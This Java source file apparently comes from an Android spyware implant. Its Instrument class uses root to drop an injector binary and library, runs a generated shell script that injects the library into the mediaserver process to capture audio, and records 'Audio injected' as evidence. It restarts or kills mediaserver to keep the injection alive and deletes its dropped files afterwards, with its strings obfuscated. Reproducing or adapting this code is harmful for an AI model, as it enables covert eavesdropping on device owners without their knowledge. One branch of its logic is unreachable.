package com.android.dvci.util; import com.android.dvci.Beep; import com.android.dvci.Root; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.Configuration; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.file.AutoFile; import com.android.mm.M; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.nio.ByteBuffer; import java.nio.ByteOrder; public class Instrument { private static final String TAG = "Instrument"; private static final int MAX_KILLED = 3; private String proc; private MediaserverMonitor pidMonitor; private static String lib, hijacker, path, dumpPath, pidCompletePath, pidFile; private boolean stopMonitor = false; private Thread monitor; private int killed = 0; private String lid = M.e(" lid "); public Instrument(String process, String dump) { final File filesPath = Status.getAppContext().getFilesDir(); proc = process; hijacker = "m"; lib = "n"; path = filesPath.getAbsolutePath(); dumpPath = dump; pidFile = M.e("irg"); pidCompletePath = path + "/" + pidFile; } private boolean deleteHijacker() { if (Cfg.DEBUG) { Check.log(TAG + " (installHijacker) delete lib"); } AutoFile file = new AutoFile(Status.getAppContext().getFilesDir(), lib); file.delete(); file = new AutoFile(Status.getAppContext().getFilesDir(), hijacker); file.delete(); return true; } private boolean installHijacker() { try { if (!Status.haveRoot()) { if (Cfg.DEBUG) { Check.log(TAG + "(installHijacker): Nope, we are not root"); } return false; } Utils.dumpAsset(M.e("ib.data"), lib); Utils.dumpAsset(M.e("mb.data"), hijacker); // Install library Execute.chmod(M.e("666"), path + "/" + lib); Execute.chmod(M.e("750"), path + "/" + hijacker); } catch (Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } return false; } return true; } public boolean startInstrumentation() { if (!Status.haveRoot()) { if (Cfg.DEBUG) { Check.log(TAG + "(startInstrumentation): Nope, we are not root"); } return false; } if (!installHijacker()) { return false; } try { int pid = getProcessPid(); if (pid > 0) { // Run the injector String scriptName = "ij"; String script = M.e("#!/system/bin/sh") + "\n"; script += path + "/" + hijacker + " -p " + pid + " -l " + path + "/" + lib + " -f " + dumpPath + "\n"; Root.createScript(scriptName, script); ExecuteResult ret = Execute.executeRoot(path + "/" + scriptName); if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) exit code: " + ret.exitCode); } Root.removeScript(scriptName); Utils.sleep(2000); int newpid = getProcessPid(); if (newpid != pid) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) Error: mediaserver was killed"); } } File d = new File(dumpPath); boolean started = false; for (int i = 0; i < 5 && !started; i++) { File[] files = d.listFiles(); for (File file : files) { if (file.getName().endsWith(M.e(".cnf"))) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) got file: " + file.getName()); } started = true; file.delete(); if (Cfg.DEMO) { Beep.beep(); } } } if (!started) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) sleep 5 secs"); } Utils.sleep(2000); } } if (!started && killed < MAX_KILLED) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) Kill mediaserver"); } killProc(); // Utils.sleep(1000); // newpid = getProcessPid(); killed += 1; if (started) { if(Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) Audio Hijack installed"); } EvidenceBuilder.info(M.e("Audio injected")); } stopMonitor = false; } if (pidMonitor == null) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) script: \n" + script); Check.log(TAG + "(startInstrumentation): Starting MeadiaserverMonitor thread"); } pidMonitor = new MediaserverMonitor(newpid); monitor = new Thread(pidMonitor); monitor.start(); } else { pidMonitor.setPid(newpid); } } else { if (Cfg.DEBUG) { Check.log(TAG + "(getProcessPid): unable to get pid"); } } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (startInstrumentation) Error: " + e); } return false; } finally { deleteHijacker(); } return true; } public void stopInstrumentation() { stopMonitor = true; monitor = null; } private int getProcessPid() { int pid; byte[] buf = new byte[4]; if (Cfg.DEBUG) { Check.log(TAG + " (getProcessPid) " + proc + " " + pidCompletePath); } Execute.execute(Configuration.shellFile + lid + proc + " " + pidCompletePath); try { FileInputStream fis = Status.getAppContext().openFileInput(pidFile); fis.read(buf); fis.close(); // Remove PID file File f = new File(pidCompletePath); f.delete(); // Parse PID from the file ByteBuffer bbuf = ByteBuffer.wrap(buf); bbuf.order(ByteOrder.LITTLE_ENDIAN); pid = bbuf.getInt(); } catch (IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } return 0; } return pid; } public void killProc() { try { int pid = getProcessPid(); if (Cfg.DEBUG) { Check.log(TAG + " (killProc) try to kill " + pid); } Execute.executeRoot("kill " + pid); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (killProc) Error: " + ex); } } } class MediaserverMonitor implements Runnable { private int cur_pid, start_pid; private int failedCounter = 0; public void setPid(int pid) { start_pid = pid; } public MediaserverMonitor(int pid) { if (Cfg.DEBUG) { Check.log(TAG + "(MediaserverMonitor): starting with pid " + pid); } setPid(pid); } @Override public void run() { while (true) { if (stopMonitor) { if (Cfg.DEBUG) { Check.log(TAG + "(MediaserverMonitor run): closing monitor thread"); } stopMonitor = false; return; } cur_pid = getProcessPid(); // Mediaserver died if (cur_pid != start_pid) { if (Cfg.DEBUG) { Check.log(TAG + "(MediaserverMonitor run): Mediaserver died, restarting instrumentation"); } failedCounter += 1; if (failedCounter < 3) { startInstrumentation(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (run) too many retry, sto restart mediaserver"); } } } else { failedCounter = 0; } Utils.sleep(10000); } } } }